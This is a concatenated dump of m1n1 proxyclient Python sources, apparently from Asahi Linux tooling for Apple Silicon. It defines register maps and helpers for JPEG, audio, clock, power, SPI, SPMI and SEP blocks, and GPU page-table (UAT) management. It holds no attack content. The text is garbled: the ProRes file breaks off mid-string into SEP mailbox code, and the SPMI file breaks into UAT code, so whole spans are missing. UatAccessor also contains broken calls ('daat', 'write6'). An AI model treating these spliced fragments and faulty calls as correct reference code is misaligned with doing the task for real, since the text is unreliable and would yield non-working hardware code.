0x264, Register32 REG_0x268 = 0x268, Register32 REG_0x26c = 0x26c, Register32 REG_0x280 = 0x280, Register32 JPEG_IO_FLAGS = 0x1000, R_JPEG_IO_FLAGS REG_0x1004 = 0x1004, Register32 REG_0x1008 = 0x1008, Register32 QTBL_SEL = 0x100c, R_QTBL_SEL # fixme what _exactly_ does this control HUFFMAN_TABLE = 0x1010, Register32 RST_INTERVAL = 0x1014, Register32 # 16 bits effective JPEG_HEIGHT = 0x1018, Register32 JPEG_WIDTH = 0x101c, Register32 COMPRESSED_BYTES = 0x1020, Register32 JPEG_OUTPUT_FLAGS = 0x1024, R_JPEG_OUTPUT_FLAGS REG_0x1028 = 0x1028, Register32 REG_0x102c = 0x102c, Register32 BITSTREAM_CORRUPTION = 0x1030, Register32 # REG_0x1034 = 0x1034, Register32 # REG_0x1038 = 0x1038, Register32 # REG_0x103c = 0x103c, Register32 REG_0x1080 = 0x1080, Register32 REG_0x1084 = 0x1084, Register32 # REG_0x1088 = 0x1088, Register32 REG_0x108c = 0x108c, Register32 REG_0x1090 = 0x1090, Register32 SHIKINO_VERSION_MAGIC0 = 0x10e0, Register32 SHIKINO_VERSION_MAGIC1 = 0x10e4, Register32 SHIKINO_VERSION_MAGIC2 = 0x10e8, Register32 SHIKINO_VERSION_MAGIC3 = 0x10ec, Register32 SHIKINO_VERSION_MAGIC4 = 0x10f0, Register32 # REG_0x10f4 = 0x10f4, Register32 # REG_0x10f8 = 0x10f8, Register32 # REG_0x10fc = 0x10fc, Register32 QTBL = irange(0x1100, 64, 4), Register32 # todo what's the format? RSTLOG = irange(0x2000, 1024, 4), Register32 m1n1-1.4.11/proxyclient/m1n1/hw/mca.py000066400000000000000000000044621453754430200172530ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..utils import * from enum import IntEnum class R_STATUS(Register32): EN = 0 RST = 1 class R_MCLK_CONF(Register32): SEL = 3, 0 class R_PORT_ENABLES(Register32): CLOCK1 = 1 CLOCK2 = 2 DATA = 3 class R_PORT_CLKSEL(Register32): SEL = 11, 8 class R_PORT_DATASEL(Register32): TXA0 = 0 TXA1 = 2 TXA2 = 4 TXA3 = 6 TXA4 = 8 TXA5 = 10 TXB0 = 1 TXB1 = 3 TXB2 = 5 TXB3 = 7 TXB4 = 9 TXB5 = 11 class E_SLOT_WIDTH(IntEnum): NONE = 0 W_16BIT = 0x4 W_20BIT = 0x8 W_24BIT = 0xc W_32BIT = 0x10 class R_SERDES_CONF(Register32): NSLOTS = 3, 0 SLOT_WIDTH = 8, 4, E_SLOT_WIDTH BCLK_POL = 10 LSB_FIRST = 11 UNK1 = 12 UNK2 = 13 IDLE_UNDRIVEN = 14 # TX only NO_DATA_FEEDBACK = 15 # RX only SYNC_SEL = 18, 16 class R_INTMASK(Register32): # macOS interested in 0x823c UNK1 = 2 # m UNK2 = 3 # m UNK3 = 4 # m TX_UNDERFLOW = 5 # m UNK4 = 9 # m READ_SENSITIVE_UNK1 = 11 READ_SENSITIVE_UNK2 = 15 # m class MCAClusterRegs(RegMap): MCLK_STATUS = 0x0, R_STATUS MCLK_CONF = 0x4, R_MCLK_CONF SYNCGEN_STATUS = 0x100, R_STATUS SYNCGEN_MCLK_SEL = 0x104, Register32 SYNCGEN_HI_PERIOD = 0x108, Register32 SYNCGEN_LO_PERIOD = 0x10c, Register32 PORT_ENABLES = 0x600, R_PORT_ENABLES PORT_CLK_SEL = 0x604, R_PORT_CLKSEL PORT_DATA_SEL = 0x608, R_PORT_DATASEL INTSTATE = 0x700, R_INTMASK INTMASK = 0x704, R_INTMASK class MCATXSerdesRegs(RegMap): STATUS = 0x0, R_STATUS CONF = 0x4, R_SERDES_CONF BITDELAY = 0x8, Register32 CHANMASK = irange(0xc, 4, 4), Register32 class MCARXSerdesRegs(RegMap): STATUS = 0x0, R_STATUS UNK1 = 0x4, Register32 CONF = 0x8, R_SERDES_CONF BITDELAY = 0xc, Register32 CHANMASK = irange(0x10, 4, 4), Register32 class MCACluster: def __init__(self, u, base): self.regs = MCAClusterRegs(u, base) self.txa = MCATXSerdesRegs(u, base + 0x300) self.txb = MCATXSerdesRegs(u, base + 0x500) self.rxa = MCARXSerdesRegs(u, base + 0x200) self.rxb = MCARXSerdesRegs(u, base + 0x400) self.all_regs = [ self.regs, self.txa, self.txb, self.rxa, self.rxb ] m1n1-1.4.11/proxyclient/m1n1/hw/nco.py000066400000000000000000000041571453754430200172730ustar00rootroot00000000000000# SPDX-License-Identifier: MIT __all__ = ["NCO"] def galois_lfsr(init, poly): state = init for i in range((1 << poly.bit_length() - 1) - 1): if state & 1: state = (state >> 1) ^ (poly >> 1) else: state = (state >> 1) yield state def gen_lookup_tables(): fwd, inv = dict(), dict() lfsr_states = [0] + list(reversed(list(galois_lfsr(0x7ff, 0xa01)))) for cycle, sr_state in enumerate(lfsr_states): fwd[cycle + 2] = sr_state inv[sr_state] = cycle + 2 return fwd, inv class NCOChannel: def __init__(self, parent, base): self.parent = parent self.base = base self.p = parent.u.proxy def enabled(self): return bool(self.p.read32(self.base) & (1<<31)) def enable(self): self.p.set32(self.base, 1<<31) def disable(self): self.p.clear32(self.base, 1<<31) def set_rate(self, target): was_enabled = self.enabled() for off, val in enumerate(NCO.calc_regvals(self.parent.fin, target)): self.p.write32(self.base + off*4, val) if was_enabled: self.enable() def get_rate(self): return NCO.calc_rate(self.parent.fin, [self.p.read32(self.base + off*4) for off in range(4)] ) def __repr__(self): return f"" class NCO: TBL, TBL_INV = gen_lookup_tables() @classmethod def calc_rate(self, fin, regvals): try: div = self.TBL_INV[regvals[1] >> 2] << 2 | regvals[1] & 3 except KeyError: raise ValueError("bad configuration") inc1 = regvals[2] inc2 = regvals[3] - 0x1_0000_0000 return 2 * fin * (inc1 - inc2) // (div * (inc1 - inc2) + inc1) @classmethod def calc_regvals(self, fin, fout): div = 2 * fin // fout inc1 = (2 * fin - div * fout) inc2 = inc1 - fout try: return [0, self.TBL[div >> 2] << 2 | div & 3, inc1, inc2 + 0x1_0000_0000] except KeyError: raise ValueError("target rate out of range") def __init__(self, u, devpath, stride=0x4000): self.u = u node = u.adt[devpath] self.fin = u.adt["/arm-io"].clock_frequencies[node.clock_ids[0] - 256] reg = node.get_reg(0) self.chans = [ NCOChannel(self, base) for base in range(reg[0], reg[0] + reg[1], stride) ] def __getitem__(self, idx): return self.chans[idx] m1n1-1.4.11/proxyclient/m1n1/hw/pmgr.py000066400000000000000000000035501453754430200174550ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..utils import * class R_PSTATE(Register32): RESET = 31 AUTO_ENABLE = 28 AUTO_STATE = 27, 24 PARENT_MISSING = 11 DEV_DISABLE = 10 WAS_CLKGATED = 9 WAS_PWRGATED = 8 ACTUAL = 7, 4 DESIRED = 3, 0 class R_PWRGATE(Register32): GATE = 31 class R_CLK_CFG(Register32): UNK31 = 31 SRC = 30, 24 UNK20 = 20 UNK8 = 8 UNK0 = 7, 0 class PMGRRegs0(RegMap): PS3 = irange(0x0000, 10, 8), R_PSTATE PS4 = irange(0x0200, 32, 8), R_PSTATE PS5 = irange(0x0300, 32, 8), R_PSTATE PS6 = irange(0x0c00, 2, 8), R_PSTATE PS7 = irange(0x4000, 13, 8), R_PSTATE PS8 = irange(0x8000, 5, 8), R_PSTATE PS9 = irange(0xc000, 7, 8), R_PSTATE PS10 = irange(0x10000, 10, 8), R_PSTATE PS11 = irange(0x100, 32, 8), R_PSTATE PS12 = irange(0x400, 15, 8), R_PSTATE PG1 = irange(0x1c010, 16, 8), R_PWRGATE PG1CFG = (irange(0x1c090, 69, 24), irange(0, 6, 4)), Register32 CPUTVM0 = 0x48000, Register32 CPUTVM1 = 0x48c00, Register32 CPUTVM2 = 0x48800, Register32 CPUTVM3 = 0x48400, Register32 class PMGRRegs1(RegMap): PS0 = irange(0x58, 32, 8), R_PSTATE PS1 = irange(0x4000, 32, 8), R_PSTATE PS2 = irange(0x8000, 32, 8), R_PSTATE PG0 = irange(0x1c010, 32, 8), R_PWRGATE class PMGRRegs2(RegMap): CLK_CFG0 = irange(0x40000, 86, 4), R_CLK_CFG CLK_CFG1 = irange(0x40200, 8, 4), R_CLK_CFG CLK_CFG2 = irange(0x40280, 2, 4), R_CLK_CFG class PMGR: def __init__(self, u): self.u = u self.p = u.proxy self.iface = u.iface self.node = u.adt["/arm-io/pmgr"] self.regs = [ PMGRRegs0(u, self.node.get_reg(0)[0]), PMGRRegs1(u, self.node.get_reg(1)[0]), PMGRRegs2(u, self.node.get_reg(2)[0]), ] def dump_all(self): for i in self.regs: i.dump_regs() m1n1-1.4.11/proxyclient/m1n1/hw/pmu.py000066400000000000000000000023341453754430200173100ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from ..utils import * from .spmi import SPMI __all__ = ["PMU"] class PMU: def __init__(self, u, adt_path=None): self.u = u if adt_path is None: adt_path = PMU.find_primary_pmu(u.adt) self.node = u.adt[adt_path] self.spmi = SPMI(u, adt_path.rpartition('/')[0]) self.adt_path = adt_path self.primary = u.adt[adt_path].is_primary == 1 self.reg = u.adt[adt_path].reg[0] def reset_panic_counter(self): if self.primary: leg_scrpad = self.node.info_leg__scrpad[0] self.spmi.write8(self.reg, leg_scrpad + 2, 0) # error counts @staticmethod def find_primary_pmu(adt): for child in adt["/arm-io"]: if child.name.startswith("nub-spmi"): for pmu in child: compat = getattr(pmu, "compatible")[0] if hasattr(pmu, "compatible") else "unset" primary = (getattr(pmu, "is-primary") == 1) if hasattr(pmu, "is-primary") else False if compat == "pmu,spmi" and primary: return pmu._path.removeprefix('/device-tree') raise KeyError(f"primary 'pmu,spmi' node not found") m1n1-1.4.11/proxyclient/m1n1/hw/prores.py000066400000000000000000000270771453754430200200340ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..utils import * from collections import namedtuple from enum import IntEnum EncodeNotRawDescriptor = namedtuple('EncodeNotRawDescriptor', [ 'flags', # +0x000 # [31:16] ????? # 13 ????? # 12 ????? # [11:9] ????? # 8 - enable alpha # 7 - alpha channel bpp # 0 -> 8bpp # 1 -> 16bpp # 6 - something unknown about tiling # [5:4] ????? # [3:2] - chroma subsampling # 00 -> broken? # 01 -> broken? # 10 -> 4:2:2 # 11 -> 4:4:4 # [1:0] - input bpp # 00 -> 8bpp # 01 -> 16bpp? # 10 -> 16bpp? # 11 -> 16bpp? # the last three all produce slightly different outputs # so might be 10/12/14/16????? 'flags2', # +0x004 'output_iova', # +0x008 'max_out_sz', # +0x010 'offset_x', # +0x014 'offset_y', # +0x016 'pix_surface_w_2_', # +0x018 'pix_surface_h_2_', # +0x01a 'pix_surface_w', # +0x01c 'pix_surface_h', # +0x01e 'luma_stride', # +0x020 'chroma_stride', # +0x022 'alpha_stride', # +0x024 'unk_pad_0x26_', # +0x026 'luma_iova', # +0x028 'pix_plane0_tileheader_thing_', # +0x030 'chroma_iova', # +0x038 'pix_plane1_tileheader_thing_', # +0x040 'alpha_iova', # +0x048 'pix_plane2_tileheader_thing_', # +0x050 'frame_header_sz', # +0x058 'unk_pad_0x5a_', # +0x05a 'bitstream_version', # +0x05b 'encoder_identifier', # +0x05c 'pix_surface_w_byteswap_', # +0x060 'pix_surface_h_byteswap_', # +0x062 'chroma_format_interlace_mode', # +0x064 'aspect_ratio_frame_rate', # +0x065 'color_primaries', # +0x066 'transfer_characteristic', # +0x067 'matrix_coefficients', # +0x068 'alpha_channel_type', # +0x069 'frame_hdr_reserved14', # +0x06a 'unk_pad_0x6c_', # +0x06c 'deprecated_number_of_slices', # +0x0ec 'log2_desired_slice_size_in_mb', # +0x0ee 'quantization_index', # +0x0ef 'unk_0xf0_', # +0x0f0 'unk_0xf2_', # +0x0f2 'unk_0xf4_', # +0x0f4 'unk_0xfc_', # +0x0fc 'unk_0x100_0_', # +0x100 'unk_0x100_1_', # +0x104 'unk_0x100_2_', # +0x108 'unk_0x100_3_', # +0x10c 'unk_0x110_0_', # +0x110 'unk_0x110_1_', # +0x114 'unk_0x110_2_', # +0x118 'unk_0x110_3_', # +0x11c 'unk_0x110_4_', # +0x120 'unk_0x110_5_', # +0x124 'unk_0x110_6_', # +0x128 'unk_0x110_7_', # +0x12c 'unk_0x110_8_', # +0x130 'unk_0x110_9_', # +0x134 'unk_0x110_10_', # +0x138 'unk_0x110_11_', # +0x13c 'unk_0x110_12_', # +0x140 'unk_0x110_13_', # +0x144 'unk_0x110_14_', # +0x148 'unk_0x110_15_', # +0x14c 'quant_table_sel', # +0x150 # upper nibble: quality / table index # lower nibble UNKNOWN! 'unk_pad_0x154_', # +0x154 ]) ENCODE_NOT_RAW_STRUCT = "> 0xC) ) self.send_msg( SEPMessage(EP=0xFE, TYPE=BootRomMsg.SET_SHMEM, DATA=self.SHMEM_IOVA >> 0xC) ) self.expect_msg(0xFF, BootRomStatus.STATUS_BOOT_IMG4_DONE) self.unmap_sepfw() def expect_msg(self, ep, type): msg = self.recv_msg(ep, block=True) if msg.TYPE != type: raise ValueError( f"Expected type 0x{type:x} but got message with type 0x{msg.TYPE:x}" ) def send_msg(self, msg): self.asc.INBOX0 = msg.value self.asc.INBOX1 = 0 def _recv_single_msg(self): msg = SEPMessage(self.asc.OUTBOX0.val) _ = self.asc.OUTBOX1.val return msg def _try_recv_msgs(self): while not self.asc.OUTBOX_CTRL.reg.EMPTY: msg = self._recv_single_msg() self.msgs[msg.EP].append(msg) self._handle_ep_discovery() def _handle_ep_discovery(self): while len(self.msgs[0xFD]): msg = self.msgs[0xFD].popleft() if msg.TYPE == 0: cs = "".join( [chr((msg.DATA >> (i * 8)) & 0xFF) for i in range(3, -1, -1)] ) self.epnum2name[msg.PARAM] = cs self.epname2num[cs] = msg.PARAM def recv_msg(self, ep, block=False): self._try_recv_msgs() while block and len(self.msgs[ep]) < 1: self._try_recv_msgs() if len(self.msgs[ep]): return self.msgs[ep].popleft() else: return None m1n1-1.4.11/proxyclient/m1n1/hw/spi.py000066400000000000000000000066331453754430200173100ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..utils import * __all__ = ["SPIRegs"] class R_CTRL(Register32): RX_FIFO_RESET = 3 TX_FIFO_RESET = 2 RUN = 0 class R_CFG(Register32): # impl: 002fb1e6 IE_TX_COMPLETE = 21 b19 = 19 FIFO_THRESH = 18, 17 # 0 = 8 bytes # 1 = 4 bytes # 2 = 1 byte # 3 = disabled WORD_SIZE = 16, 15 # 0 = 8bit # 1 = 16bit # 2 = 32bit LSB_FIRST = 13 b12 = 12 IE_RX_THRESH = 8 IE_RX_COMPLETE = 7 MODE = 6, 5 # 0 = polled # 1 = irq CPOL = 2 CPHA = 1 class R_STATUS(Register32): TX_COMPLETE = 22 TXRX_THRESH = 1 # updated if MODE == 1 RX_COMPLETE = 0 class R_PIN(Register32): CS = 1 KEEP_MOSI = 0 class R_CLKDIV(Register32): DIVIDER = 10, 0 # SPI freq = CLK / (DIVIDER + 1) class R_INTER_DELAY(Register32): DELAY = 15, 0 class R_FIFOSTAT(Register32): LEVEL_RX = 31, 24 RX_EMPTY = 20 LEVEL_TX = 15, 8 TX_FULL = 4 class R_IRQ_XFER(Register32): TX_XFER_DONE = 1 RX_XFER_DONE = 0 class R_IRQ_FIFO(Register32): TX_OVERFLOW = 17 RX_UNDERRUN = 16 TX_EMPTY = 9 RX_FULL = 8 TX_THRESH = 5 RX_THRESH = 4 class R_XFSTATUS(Register32): SR_FULL = 26 SHIFTING = 20 STATE = 17, 16 UNK = 0 class R_DIVSTATUS(Register32): COUNT2 = 31, 16 COUNT1 = 15, 0 class R_SHIFTCFG(Register32): OVERRIDE_CS = 24 BITS = 21, 16 RX_ENABLE = 11 TX_ENABLE = 10 CS_AS_DATA = 9 AND_CLK_DATA = 8 #? = 2 # needs to be 1 for RX to not break CS_ENABLE = 1 CLK_ENABLE = 0 class R_PINCFG(Register32): MOSI_INIT_VAL = 10 CS_INIT_VAL = 9 CLK_INIT_VAL = 8 KEEP_MOSI = 2 KEEP_CS = 1 KEEP_CLK = 0 class R_DELAY(Register32): DELAY = 31, 16 MOSI_VAL = 12 CS_VAL = 10 SCK_VAL = 8 SET_MOSI = 6 SET_CS = 5 SET_SCK = 4 NO_INTERBYTE = 1 ENABLE = 0 class R_SCKCFG(Register32): PERIOD = 31, 16 PHASE1 = 9 PHASE0 = 8 RESET_TO_IDLE = 4 class R_SCKPHASES(Register32): PHASE1_START = 31, 16 PHASE0_START = 15, 0 class SPIRegs(RegMap): CTRL = 0x00, R_CTRL CFG = 0x04, R_CFG STATUS = 0x08, R_STATUS PIN = 0x0C, R_PIN TXDATA = 0x10, Register32 RXDATA = 0x20, Register32 CLKDIV = 0x30, R_CLKDIV RXCNT = 0x34, Register32 INTER_DELAY = 0x38, R_INTER_DELAY TXCNT = 0x4C, Register32 FIFOSTAT = 0x10C, R_FIFOSTAT IE_XFER = 0x130, R_IRQ_XFER IF_XFER = 0x134, R_IRQ_XFER IE_FIFO = 0x138, R_IRQ_FIFO IF_FIFO = 0x13c, R_IRQ_FIFO SHIFTCFG = 0x150, R_SHIFTCFG PINCFG = 0x154, R_PINCFG DELAY_PRE = 0x160, R_DELAY SCKCFG = 0x164, R_SCKCFG DELAY_POST = 0x168, R_DELAY SCKPHASES = 0x180, R_SCKPHASES UNK_PHASE = 0x18c, Register32 # probably MISO sample point XFSTATUS = 0x1c0, R_XFSTATUS DIVSTATUS = 0x1e0, R_DIVSTATUS m1n1-1.4.11/proxyclient/m1n1/hw/spmi.py000066400000000000000000000051701453754430200174600ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from ..utils import * __all__ = ["SPMI"] CMD_EXT_WRITE = 0x00 CMD_EXT_READ = 0x20 CMD_EXT_WRITEL = 0x30 CMD_EXT_READL = 0x38 CMD_WRITE = 0x40 CMD_READ = 0x60 CMD_ZERO_WRITE = 0x80 class R_CMD(Register32): REG = 31, 16 ACTIVE = 15 SLAVE_ID = 14, 8 CMD = 7, 0 class R_STATUS(Register32): RX_EMPTY = 24 RX_COUNT = 23, 16 TX_EMPTY = 8 TX_COUNT = 7, 0 class SPMIRegs(RegMap): STATUS = 0x00, R_STATUS CMD = 0x04, R_CMD REPLY = 0x08, Register32 IRQ_FLAG = 0x80, Register32 class SPMI: def __init__(self, u, adt_path): self.u = u self.p = u.proxy self.iface = u.iface self.base = u.adt[adt_path].get_reg(0)[0] self.regs = SPMIRegs(u, self.base) def read(self, slave, reg, size): while not self.regs.STATUS.reg.RX_EMPTY: print(">", self.regs.REPLY.val) self.regs.CMD.reg = R_CMD(REG = reg, ACTIVE=1, SLAVE_ID = slave, CMD = CMD_EXT_READL | (size - 1)) buf = b"" left = size + 4 while left > 0: while self.regs.STATUS.reg.RX_EMPTY: pass v = self.regs.REPLY.val buf += struct.pack("> 1 def describe(self): return f"{self.offset():x} [ASID={self.ASID}, VALID={self.VALID}]" class PTE(Register64): OS = 55 # Owned by host os or firmware UXN = 54 PXN = 53 OFFSET = 47, 14 nG = 11 # global or local TLB caching AF = 10 SH = 9, 8 AP = 7, 6 AttrIndex = 4, 2 TYPE = 1 VALID = 0 def valid(self): return self.VALID == 1 def block(self): return self.TYPE == 0 def offset(self): return self.OFFSET << 14 def set_offset(self, offset): self.OFFSET = offset >> 14 def access_fw(self, gl=False): if not self.OS: return [[ ["--", "--", "--", "--"], ["--", "RW", "--", "RW"], ["--", "RX", "--", "--"], ["RX", "R-", "--", "R-"], ], [ ["--", "--", "--", "RW"], ["--", "--", "--", "RW"], ["RX", "--", "--", "R-"], ["RX", "RW", "--", "R-"], ]][gl][self.AP][(self.UXN << 1) | self.PXN] else: return [ ["--", "R-", "-?", "RW"], ["R-", "--", "RW", "RW"], ["--", "--", "--", "--"], ["--", "--", "--", "--"], ][self.AP][(self.UXN << 1) | self.PXN] def access_gpu(self): if not self.OS: return "--" return [ ["--", "R-", "-W", "RW"], ["--", "--", "--", "R-"], ["R-", "-W", "RW", "--"], ["--", "--", "--", "--"], ][self.AP][(self.UXN << 1) | self.PXN] def describe(self): if not self.valid(): return f" [{int(self)}:x]" return ( f"{self.offset():x} [GPU={self.access_gpu()}, EL1={self.access_fw(0)}, GL1={self.access_fw(1)}, " + f"perm={self.OS}{self.AP:02b}{self.UXN}{self.PXN}, " + f"{MemoryAttr(self.AttrIndex).name}, {['Global', 'Local'][self.nG]}, " + f"Owner={['FW', 'OS'][self.OS]}, AF={self.AF}, SH={self.SH}] ({self.value:#x})" ) class Page_PTE(PTE): def valid(self): return self.VALID == 1 and self.TYPE == 1 def block(self): return True class UatAccessor(Reloadable): def __init__(self, uat, ctx=0): self.uat = uat self.ctx = ctx def translate(self, addr, width): paddr, _ = self.uat.iotranslate(self.ctx, addr, width)[0] if paddr is None: raise Exception(f"UAT Failed to translate {addr:#x}") return paddr def read(self, addr, width): return self.uat.u.read(self.translate(addr, width), width) def read8(self, addr): return self.uat.p.read8(self.translate(addr, 1)) def read16(self, addr): return self.uat.p.read16(self.translate(addr, 2)) def read32(self, addr): return self.uat.p.read32(self.translate(addr, 4)) def read64(self, addr): return self.uat.p.read64(self.translate(addr, 8)) def write(self, addr, data, width): self.uat.u.write(self.translate(addr, width), data, width) def write8(self, addr, data): self.uat.p.write8(self.translate(addr, 1), daat) def write16(self, addr, data): self.uat.p.write6(self.translate(addr, 2), data) def write32(self, addr, data): self.uat.p.write32(self.translate(addr, 4), data) def write64(self, addr, data): self.uat.p.write64(self.translate(addr, 8), data) class UatStream(Reloadable): CACHE_SIZE = 0x1000 def __init__(self, uat, ctx, addr, recurse=True): self.uat = uat self.ctx = ctx self.pos = addr self.cache = None self.meta_fn = None self.recurse = recurse def to_accessor(self): return UatAccessor(self.uat, self.ctx) def read(self, size): assert size >= 0 data = b"" if self.cache: data = self.cache[:size] cached = len(self.cache) self.pos += min(cached, size) if cached > size: self.cache = self.cache[size:] return data self.cache = None if cached == size: return data size -= cached # align any cache overreads to the next page boundary remaining_in_page = self.uat.PAGE_SIZE - (self.pos % self.uat.PAGE_SIZE) to_cache = min(remaining_in_page, self.CACHE_SIZE) try: self.cache = self.uat.ioread(self.ctx, self.pos, max(size, to_cache)) except: traceback.print_exc() raise return data + self.read(size) def readable(self): return True def write(self, bytes): self.uat.iowrite(self.ctx, self.pos, bytes) self.pos += len(bytes) self.cache = None return len(bytes) def writable(self): return True def flush(self): self.cache = None def seek(self, n, wherenc=0): self.cache = None if wherenc == 0: self.pos = n elif wherenc == 2: self.pos += n def seekable(self): return True def tell(self): return self.pos def closed(self): return False class UAT(Reloadable): NUM_CONTEXTS = 64 PAGE_BITS = 14 PAGE_SIZE = 1 << PAGE_BITS L0_SIZE = 2 L0_OFF = 39 L1_SIZE = 8 L1_OFF = 36 L2_OFF = 25 L3_OFF = 14 IDX_BITS = 11 Lx_SIZE = (1 << IDX_BITS) LEVELS = [ (L0_OFF, L0_SIZE, TTBR), (L1_OFF, L1_SIZE, PTE), (L2_OFF, Lx_SIZE, PTE), (L3_OFF, Lx_SIZE, Page_PTE), ] def __init__(self, iface, util=None, hv=None): self.iface = iface self.u = util self.p = util.proxy self.hv = hv self.pt_cache = {} self.dirty = set() self.dirty_ranges = {} self.allocator = None self.ttbr = None self.initialized = False self.sgx_dev = self.u.adt["/arm-io/sgx"] self.shared_region = self.sgx_dev.gfx_shared_region_base self.gpu_region = self.sgx_dev.gpu_region_base self.ttbr0_base = self.u.memalign(self.PAGE_SIZE, self.PAGE_SIZE) self.ttbr1_base = self.sgx_dev.gfx_shared_region_base self.handoff = GFXHandoff(self.u) self.VA_MASK = 0 for (off, size, _) in self.LEVELS: self.VA_MASK |= (size - 1) << off self.VA_MASK |= self.PAGE_SIZE - 1 def set_l0(self, ctx, off, base, asid=0): ttbr = TTBR(BADDR = base >> 1, ASID = asid, VALID=(base != 0)) print(f"[UAT] Set L0 ctx={ctx} off={off:#x} base={base:#x} asid={asid} ({ttbr})") self.write_pte(self.gpu_region + ctx * 16, off, 2, ttbr) def ioread(self, ctx, base, size): if size == 0: return b"" ranges = self.iotranslate(ctx, base, size) iova = base data = [] for addr, size in ranges: if addr is None: raise Exception(f"Unmapped page at iova {ctx}:{iova:#x}") data.append(self.iface.readmem(addr, size)) iova += size return b"".join(data) def iowrite(self, ctx, base, data): if len(data) == 0: return ranges = self.iotranslate(ctx, base, len(data)) iova = base p = 0 for addr, size in ranges: if addr is None: raise Exception(f"Unmapped page at iova {ctx}:{iova:#x}") self.iface.writemem(addr, data[p:p + size]) p += size iova += size # A stream interface that can be used for random access by Construct def iostream(self, ctx, base, recurse=True): return UatStream(self, ctx, base, recurse) # A read/write register interface like proxy/utils objects that can be used by RegMap def ioaccessor(self, ctx): return UatAccessor(self, ctx) def iomap(self, ctx, addr, size, **flags): iova = self.allocator.malloc(size) self.iomap_at(ctx, iova, addr, size, **flags) self.flush_dirty() return iova def iomap_at(self, ctx, iova, addr, size, **flags): if size == 0: return if addr & (self.PAGE_SIZE - 1): raise Exception(f"Unaligned PA {addr:#x}") if iova & (self.PAGE_SIZE - 1): raise Exception(f"Unaligned IOVA {iova:#x}") self.init() map_flags = {'OS': 1, 'AttrIndex': MemoryAttr.Normal, 'VALID': 1, 'TYPE': 1, 'AP': 1, 'AF': 1, 'UXN': 1} map_flags.update(flags) start_page = align_down(iova, self.PAGE_SIZE) end = iova + size end_page = align_up(end, self.PAGE_SIZE) for page in range(start_page, end_page, self.PAGE_SIZE): table_addr = self.gpu_region + ctx * 16 for (offset, size, ptecls) in self.LEVELS: if ptecls is Page_PTE: pte = Page_PTE(**map_flags) pte.set_offset(addr) self.write_pte(table_addr, page >> offset, size, pte) addr += self.PAGE_SIZE else: pte = self.fetch_pte(table_addr, page >> offset, size, ptecls) if not pte.valid(): table = self.u.memalign(self.PAGE_SIZE, self.PAGE_SIZE) self.p.memset32(table, 0, self.PAGE_SIZE) pte.set_offset(table) if ptecls is not TTBR: pte.VALID = 1 pte.TYPE = 1 #pte.UNK0 = 1 self.write_pte(table_addr, page >> offset, size, pte) table_addr = pte.offset() self.dirty_ranges.setdefault(ctx, []).append((start_page, end_page - start_page)) #self.flush_dirty() def fetch_pte(self, offset, idx, size, ptecls): idx = idx & (size - 1) cached, table = self.get_pt(offset, size=size) pte = ptecls(table[idx]) if not pte.valid() and cached: self.flush_dirty() cached, table = self.get_pt(offset, size=size, uncached=True) pte = ptecls(table[idx]) return pte def write_pte(self, offset, idx, size, pte): idx = idx & (size - 1) cached, table = self.get_pt(offset, size=size) table[idx] = pte.value self.dirty.add(offset) def iotranslate(self, ctx, start, size): if size == 0: return [] start = start & self.VA_MASK start_page = align_down(start, self.PAGE_SIZE) start_off = start - start_page end = start + size end_page = align_up(end, self.PAGE_SIZE) end_size = end - (end_page - self.PAGE_SIZE) pages = [] for page in range(start_page, end_page, self.PAGE_SIZE): table_addr = self.gpu_region + ctx * 16 for (offset, size, ptecls) in self.LEVELS: pte = self.fetch_pte(table_addr, page >> offset, size, ptecls) if not pte.valid(): break table_addr = pte.offset() if pte.valid(): pages.append(pte.offset()) else: pages.append(None) ranges = [] for page in pages: if not ranges: ranges.append((page, self.PAGE_SIZE)) continue laddr, lsize = ranges[-1] if ((page is None and laddr is None) or (page is not None and laddr == (page - lsize))): ranges[-1] = laddr, lsize + self.PAGE_SIZE else: ranges.append((page, self.PAGE_SIZE)) ranges[-1] = (ranges[-1][0], ranges[-1][1] - self.PAGE_SIZE + end_size) if start_off: ranges[0] = (ranges[0][0] + start_off if ranges[0][0] else None, ranges[0][1] - start_off) return ranges def ioperm(self, ctx, addr): page = align_down(addr, self.PAGE_SIZE) table_addr = self.gpu_region + ctx * 16 for (offset, size, ptecls) in self.LEVELS: pte = self.fetch_pte(table_addr, page >> offset, size, ptecls) if not pte.valid(): break table_addr = pte.offset() return pte def get_pt(self, addr, size=None, uncached=False): if size is None: size = self.Lx_SIZE cached = True if addr not in self.pt_cache or uncached: cached = False if self.p.read32(addr) == 0xabad1dea: self.pt_cache[addr] = [0xabad1dea0000] * size else: self.pt_cache[addr] = list( struct.unpack(f"<{size}Q", self.iface.readmem(addr, size * 8))) return cached, self.pt_cache[addr] def flush_pt(self, addr): assert addr in self.pt_cache table = self.pt_cache[addr] self.iface.writemem(addr, struct.pack(f"<{len(table)}Q", *table)) #self.p.dc_civac(addr, 0x4000) def flush_dirty(self): inval = False for page in self.dirty: self.flush_pt(page) inval = True self.dirty.clear() for ctx, ranges in self.dirty_ranges.items(): asid = ctx << 48 self.u.inst("tlbi aside1os, x0", asid) def invalidate_cache(self): self.pt_cache = {} def recurse_level(self, level, base, table, page_fn=None, table_fn=None): def extend(addr): if addr >= 0x80_00000000: addr |= 0xf00_00000000 return addr offset, size, ptecls = self.LEVELS[level] cached, tbl = self.get_pt(table, size) sparse = False for i, pte in enumerate(tbl): pte = ptecls(pte) if not pte.valid(): sparse = True continue range_size = 1 << offset start = extend(base + i * range_size) end = start + range_size - 1 if pte.block(): if page_fn: page_fn(start, end, i, pte, level, sparse=sparse) else: if table_fn: table_fn(start, end, i, pte, level, sparse=sparse) self.recurse_level(level + 1, start, pte.offset(), page_fn, table_fn) sparse = False def foreach_page(self, ctx, page_fn): self.recurse_level(0, 0, self.gpu_region + ctx * 16, page_fn) def foreach_table(self, ctx, table_fn): self.recurse_level(0, 0, self.gpu_region + ctx * 16, table_fn=table_fn) def init(self): if self.initialized: return print("[UAT] Initializing...") # Clear out any stale kernel page tables self.p.memset64(self.ttbr1_base + 0x10, 0, 0x3ff0) self.u.inst("tlbi vmalle1os") self.handoff.initialize() with self.handoff.lock(): print(f"[UAT] TTBR0[0] = {self.ttbr0_base:#x}") print(f"[UAT] TTBR1[0] = {self.ttbr1_base:#x}") self.set_l0(0, 0, self.ttbr0_base) self.set_l0(0, 1, 